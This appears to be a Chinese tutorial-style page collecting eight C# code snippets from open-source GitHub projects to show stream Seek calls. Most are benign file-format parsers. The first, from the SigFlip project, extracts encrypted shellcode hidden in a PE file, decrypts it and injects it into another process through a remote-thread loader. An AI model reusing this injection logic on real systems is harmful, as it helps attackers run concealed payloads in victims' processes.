C# File.Seek的代码示例

通过代码示例来学习C# File.Seek方法

通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。


File.Seek是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的File.Seek() 已经帮大家高亮显示了,大家可以重点学习File.Seek() 方法的写法,从而快速掌握该方法的应用。

File.Seek的代码示例1 - Main()

    using System.IO;
        public static void Main(string[] args)
        {
            ArgumentParser _parser = new ArgumentParser(args);

            if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
                Help();
            }


            if (_parser.GetOrDefault("f", "null") != "null") {
                _pePath = _parser.GetOrDefault("f", "null");
                _encKey = _parser.GetOrDefault("e", "null");
                _pid = _parser.GetOrDefault("pid", "null");

                if (_pePath == "null") Help();
                if (_pid == "null") Help();
            }

            else {
                Help();
            }

            if (!File.Exists(_pePath)) Help();

            Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
            Console.WriteLine();

            byte[] _peBlob = Utils.Read(_pePath);
            int _dataOffset = Utils.scanPattern(_peBlob, _tag);

            Console.WriteLine("[+]:Scanning for Shellcode...");
            if ( _dataOffset == -1) {
                Console.WriteLine("Could not locate data or shellcode");
                Environment.Exit(0);
            }

            Stream stream = new MemoryStream(_peBlob);
            long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
            Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
            byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
            stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
            byte[] _data = Utils.Decrypt(shellcode, _encKey);
            
            stream.Close();

            //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
            
            //CreateThread
            //ExecShellcode(_data);

            //CreateRemoteThread 
            Loader.rexec(Convert.ToInt32(_pid), _data);
           

            }
    

开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs

在Main()方法中,File的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例2 - Load()

    using System.IO;

        public void Load(Stream stream)
        {
            CanSave = true;

            using (var reader = new FileReader(stream))
            {
                CheckEndianness(reader);
                isBigEndian = reader.IsBigEndian;

                uint Count = reader.ReadUInt32();

                Console.WriteLine($"Count {Count}");

                uint[] Offsets = new uint[Count];
                uint[] Sizes = new uint[Count];

                for (int i = 0; i < Count; i++)
                {
                    Offsets[i] = reader.ReadUInt32();
                    Sizes[i] = reader.ReadUInt32();
                }

                for (int i = 0; i < Count; i++)
                {
                    var fileEntry = new FileEntry();
                    reader.SeekBegin(Offsets[i]);
                    string Magic = reader.ReadString(4);
                    reader.Seek(-4);
                    reader.SeekBegin(Offsets[i]);
                    fileEntry.FileData = reader.ReadBytes((int)Sizes[i]);
                    fileEntry.FileName = $"File {i}";
                    fileEntry.OpenFileFormatOnLoad = true;

                    switch (Magic)
                    {
                        case "GT1G": //Textures
                        case "G1TG": //Textures
                            fileEntry.FileName = $"TextureContainer_{i}.gt1";
                            break;
                        case "_M1G":
                        case "G1M_":
                            fileEntry.FileName = $"Model_{i}.g1m";
                            break;
                        case "_A1G":
                        case "G1A_":
                            fileEntry.FileName = $"Animation_{i}.g1a";
                            break;
                        default:
                            break;
                    }

                    files.Add(fileEntry);
                }
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:57,代码来源:HWBinGzResource.cs

在Load()方法中,File的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例3 - ReadGPUFile()

    
        private void ReadGPUFile(string FileName)
        {
            string path = FileName.Replace("cpu", "gpu");
            if (!System.IO.File.Exists(path))
                return;

            int offset = 0;
            //Read the data based on CPU chunk info
            using (var reader = new FileReader(path))
            {
                for (int i = 0; i < Chunks.Count; i++)
                {
                    if (Chunks[i].FileSize != 0 || Chunks[i].FileName != string.Empty || Chunks[i].ChunkData != null)
                    {
                        long pos = reader.Position;

                        var identifer = Chunks[i].Identifier.Reverse();

                        var fileInfo = new FileInfo();

                        //Get CPU chunk data
                        if (Chunks[i].ChunkData != null)
                        {
                            if ( Chunks[i].ChunkData is AnimationFile)
                            {
                                AnimationFile animFile = (AnimationFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is SkeletonFile)
                            {
                                SkeletonFile animFile = (SkeletonFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is MaterialFile)
                            {
                                MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is MaterialFile)
                            {
                                MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is ModelFile)
                            {
                                ModelFile modelFile = (ModelFile)Chunks[i].ChunkData;
                                fileInfo.FileName = modelFile.FileName;

                                byte[] BufferData = new byte[0];
                                if (Chunks[i].FileSize != 0)
                                    BufferData = reader.ReadBytes((int)Chunks[i].FileSize);

                                fileInfo.FileData = Utils.CombineByteArray(modelFile.Data, modelFile.Data2, BufferData);


                                //Don't advance the stream unless the chunk has a pointer
                                if (Chunks[i].NextFilePtr != 0)
                                    reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
                            }
                        }
                        else //Else get the data from GPU
                        {
                            if (Chunks[i].FileName != string.Empty)
                                fileInfo.FileName = $"{Chunks[i].FileName}";
                            else
                                fileInfo.FileName = $"{i} {Chunks[i].ChunkId} {identifer.ToString("X")}";

                            if (Chunks[i].FileSize != 0)
                                fileInfo.FileData = reader.ReadBytes((int)Chunks[i].FileSize);
                            else
                                fileInfo.FileData = new byte[0];
                        }
                        files.Add(fileInfo);

                        //Don't advance the stream unless the chunk has a pointer
                        if (Chunks[i].NextFilePtr != 0)
                            reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
                    }
                }
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:86,代码来源:SP2.cs

在ReadGPUFile()方法中,File的代码示例类中的Seek的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例4 - ReadGPUFile()

    
        private void ReadGPUFile(string FileName)
        {
            string path = FileName.Replace("cpu", "gpu");
            if (!System.IO.File.Exists(path))
                return;

            int offset = 0;
            //Read the data based on CPU chunk info
            using (var reader = new FileReader(path))
            {
                for (int i = 0; i < Chunks.Count; i++)
                {
                    if (Chunks[i].FileSize != 0 || Chunks[i].FileName != string.Empty || Chunks[i].ChunkData != null)
                    {
                        long pos = reader.Position;

                        var identifer = Chunks[i].Identifier.Reverse();

                        var fileInfo = new FileInfo();

                        //Get CPU chunk data
                        if (Chunks[i].ChunkData != null)
                        {
                            if (Chunks[i].ChunkData is AnimationFile)
                            {
                                AnimationFile animFile = (AnimationFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is SkeletonFile)
                            {
                                SkeletonFile animFile = (SkeletonFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is MaterialFile)
                            {
                                MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is MaterialFile)
                            {
                                MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is ModelFile)
                            {
                                ModelFile modelFile = (ModelFile)Chunks[i].ChunkData;
                                fileInfo.FileName = modelFile.FileName;

                                byte[] BufferData = new byte[0];
                                if (Chunks[i].FileSize != 0)
                                    BufferData = reader.ReadBytes((int)Chunks[i].FileSize);

                                fileInfo.FileData = Utils.CombineByteArray(modelFile.Data, modelFile.Data2, BufferData);


                                //Don't advance the stream unless the chunk has a pointer
                                if (Chunks[i].NextFilePtr != 0)
                                    reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
                            }
                        }
                        else //Else get the data from GPU
                        {
                            if (Chunks[i].FileName != string.Empty)
                                fileInfo.FileName = $"{Chunks[i].FileName}";
                            else
                                fileInfo.FileName = $"{i} {Chunks[i].ChunkId} {identifer.ToString("X")}";

                            if (Chunks[i].FileSize != 0)
                                fileInfo.FileData = reader.ReadBytes((int)Chunks[i].FileSize);
                            else
                                fileInfo.FileData = new byte[0];
                        }

                        if (fileInfo.FileData.Length > 0)
                            files.Add(fileInfo);

                        //Don't advance the stream unless the chunk has a pointer
                        if (Chunks[i].NextFilePtr != 0)
                            reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
                    }
                }
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:88,代码来源:SPC.cs

在ReadGPUFile()方法中,File的代码示例类中的Seek的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例5 - ReadGPUFile()

    
        private void ReadGPUFile(string FileName)
        {
            string path = FileName.Replace("cpu", "gpu");
            if (!System.IO.File.Exists(path))
                return;

            int offset = 0;
            //Read the data based on CPU chunk info
            using (var reader = new FileReader(path))
            {
                for (int i = 0; i < Chunks.Count; i++)
                {
                    if (Chunks[i].FileSize != 0 || Chunks[i].FileName != string.Empty || Chunks[i].ChunkData != null)
                    {
                        long pos = reader.Position;

                        var identifer = Chunks[i].Identifier.Reverse();

                        var fileInfo = new FileInfo();

                        //Get CPU chunk data
                        if (Chunks[i].ChunkData != null)
                        {
                            if (Chunks[i].ChunkData is SWUTexture)
                            {
                                SWUTexture texFile = (SWUTexture)Chunks[i].ChunkData;
                                if (Chunks[i].FileSize != 0)
                                    texFile.ImageData = reader.ReadBytes((int)Chunks[i].FileSize);

                                continue;
                            }
                            if ( Chunks[i].ChunkData is AnimationFile)
                            {
                                AnimationFile animFile = (AnimationFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is SkeletonFile)
                            {
                                SkeletonFile animFile = (SkeletonFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is MaterialFile)
                            {
                                MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is MaterialFile)
                            {
                                MaterialFile animFile = (MaterialFile)Chunks[i].ChunkData;
                                fileInfo.FileName = animFile.FileName;
                                fileInfo.FileData = animFile.Data;
                            }
                            if (Chunks[i].ChunkData is ModelFile)
                            {
                                ModelFile modelFile = (ModelFile)Chunks[i].ChunkData;
                                fileInfo.FileName = modelFile.FileName;

                                byte[] BufferData = new byte[0];
                                if (Chunks[i].FileSize != 0)
                                    BufferData = reader.ReadBytes((int)Chunks[i].FileSize);

                                fileInfo.FileData = Utils.CombineByteArray(modelFile.Data, modelFile.Data2, BufferData);


                                //Don't advance the stream unless the chunk has a pointer
                                if (Chunks[i].NextFilePtr != 0)
                                    reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
                            }
                        }
                        else //Else get the data from GPU
                        {
                            if (Chunks[i].FileName != string.Empty)
                                fileInfo.FileName = $"{Chunks[i].FileName}";
                            else
                                fileInfo.FileName = $"{i} {Chunks[i].ChunkId} {identifer.ToString("X")}";

                            if (Chunks[i].FileSize != 0)
                                fileInfo.FileData = reader.ReadBytes((int)Chunks[i].FileSize);
                            else
                                fileInfo.FileData = new byte[0];
                        }

                        files.Add(fileInfo);

                        //Don't advance the stream unless the chunk has a pointer
                        if (Chunks[i].NextFilePtr != 0)
                            reader.Seek(pos + Chunks[i].NextFilePtr, System.IO.SeekOrigin.Begin);
                    }
                }
            }
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:95,代码来源:SWU.cs

在ReadGPUFile()方法中,File的代码示例类中的Seek的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例6 - Read()

    using System.IO;

        public void Read(FileReader reader)
        {
            reader.ReadUInt32(); //MFX
            reader.Seek(8); //unks
            uint descCount = reader.ReadUInt32();
            uint stringTableOffset = reader.ReadUInt32();
            reader.ReadUInt32();

            long pos = reader.Position;
            for (int i = 0; i < descCount - 1; i++)
            {
                reader.SeekBegin(pos + (i * 4));
                uint ofs = reader.ReadUInt32();
                if (ofs == 0)
                    continue;

                reader.SeekBegin(ofs);

                Descriptor desc = new Descriptor();
                desc.Name = ReadName(reader, stringTableOffset);
                desc.Type = ReadName(reader, stringTableOffset);
                ushort DescType = reader.ReadUInt16();
                ushort MapLength = reader.ReadUInt16(); //Actual length is value / 2? Not sure
                ushort MapIndex = reader.ReadUInt16();
                ushort DescIndex = reader.ReadUInt16();
                reader.ReadUInt32();
                uint MapAddress = reader.ReadUInt32(); //Not sure what this address actually points to

                var crc = MT_Globals.crc32(desc.Name);
                var jcrc = MT_Globals.jamcrc(desc.Name);
                var mcrc = MT_Globals.mfxcrc(desc.Name, DescIndex);

 
                if (desc.Type == "__InputLayout")
                {
                    Console.WriteLine($"attribute {desc.Name} DescIndex {DescIndex}");

                   AttributeGroups.Add(mcrc, new AttributeGroup(reader, stringTableOffset)
                   {
                       Name = desc.Name,
                   });
                }
            }
            File.WriteAllText("Shader.json", JsonConvert.SerializeObject(this, Formatting.Indented));
        }
    

开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:47,代码来源:Shader.cs

在Read()方法中,File的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例7 - ParseIFDEntry()

    using System.IO;

		#endregion

		/// 
		///    Try to parse the given IFD entry, used to discover format-specific entries.
		/// 
		/// 
		///    A  with the tag of the entry.
		/// 
		/// 
		///    A  with the type of the entry.
		/// 
		/// 
		///    A  with the data count of the entry.
		/// 
		/// 
		///    A  with the base offset which every offsets in the
		///    IFD are relative to.
		/// 
		/// 
		///    A  with the offset of the entry.
		/// 
		/// 
		///    A  with the given parameters, or null if none was parsed, after
		///    which the normal TIFF parsing is used.
		/// 
		protected override IFDEntry ParseIFDEntry (ushort tag, ushort type, uint count, long base_offset, uint offset)
		{
			if (tag == 0x002e && !seen_jpgfromraw) {
				// FIXME: JpgFromRaw

				file.Seek (base_offset + offset, SeekOrigin.Begin);
				var data = file.ReadBlock ((int)count);
				var mem_stream = new MemoryStream (data.Data);
				var res = new StreamJPGAbstraction (mem_stream);
				(file as File).JpgFromRaw = new Jpeg.File (res, ReadStyle.Average);

				seen_jpgfromraw = true;
				return null;
			}

			return base.ParseIFDEntry (tag, type, count, base_offset, offset);
		}
    

开发者ID:mono,项目名称:taglib-sharp,代码行数:44,代码来源:IFDReader.cs

在ParseIFDEntry()方法中,File的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Seek的代码示例8 - Main()

    using System.IO;
        static void Main(string[] args)
        {
            if (args.Count()<1)
            {
                Console.WriteLine("Usage: DirtyPCB_BoardStats.exe ||");
                return;
            }

            Stats TheStats = new Stats();
            if (Directory.Exists(args[0]))
            {
                GerberLibrary.GerberImageCreator GIC = new GerberLibrary.GerberImageCreator();
                
                foreach(var L in Directory.GetFiles(args[0]).ToList())
                {
                    TheStats.AddFile(new GerberLibrary.StandardConsoleLog(), L);
                }
                
            }
            else
            if (File.Exists(args[0]))
            {
                if (Path.GetExtension(args[0]).ToLower() == ".zip")
                {
                    using (ZipFile zip1 = ZipFile.Read(args[0]))
                    {
                        foreach (ZipEntry e in zip1)
                        {
                            MemoryStream MS = new MemoryStream();
                            if (e.IsDirectory == false)
                            {
                                e.Extract(MS);
                                MS.Seek(0, SeekOrigin.Begin);
                                TheStats.AddFile(new GerberLibrary.StandardConsoleLog(), MS, e.FileName);
                            }
                        }
                    }
                }
                else
                {
                    TheStats.AddFile(new GerberLibrary.StandardConsoleLog(), args[0]);
                }

            }
            TheStats.Complete();

            var json = new JavaScriptSerializer().Serialize(TheStats);
            Console.WriteLine(json);
            

        }
    

开发者ID:ThisIsNotRocketScience,项目名称:GerberTools,代码行数:52,代码来源:DirtyPCB_BoardStats.cs

在Main()方法中,File的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

本文中的File.Seek方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。